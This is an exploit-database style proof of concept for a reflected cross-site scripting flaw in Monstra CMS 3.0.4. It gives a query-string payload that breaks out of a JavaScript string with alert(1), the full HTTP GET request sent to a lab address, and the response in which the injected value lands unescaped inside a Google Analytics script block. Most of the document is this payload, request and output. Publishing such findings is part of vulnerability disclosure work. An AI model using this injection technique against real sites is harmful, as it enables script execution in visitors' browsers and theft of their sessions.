# Exploit Title: Monstra CMS 3.0.4 - Cross-Site Scripting
# Date: 2018-05-17
# Exploit Author: Berk Dusunur
# Vendor Homepage: https://monstra.org
# Software Link: https://monstra.org
# Version: before 3.0.4
# Tested on: Pardus / Win10 AppServer

# Proof Of Concept
# Monstra is a modern and lightweight Content Management System.
# Prints get request between script tags on page


Payload ?vrk2f'-alert(1)-'ax8vv=1

GET Request

GET /test/monstra-3.0.4/?vrk2f'-alert(1)-'ax8vv=1 HTTP/1.1
Host: 192.168.1.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Response


<script type="text/javascript">
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new
Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js
','_mga');

_mga('create', '', 'auto');
_mga('send', 'pageview', {
'page': 'http://192.168.1.106/test/monstra-3.0.4/?vrk2f%27-alert(1',
'title': ''
});
</script></body>


http://localhost/test/monstra-3.0.4/?vrk2f'-alert(1)-'ax8vv=1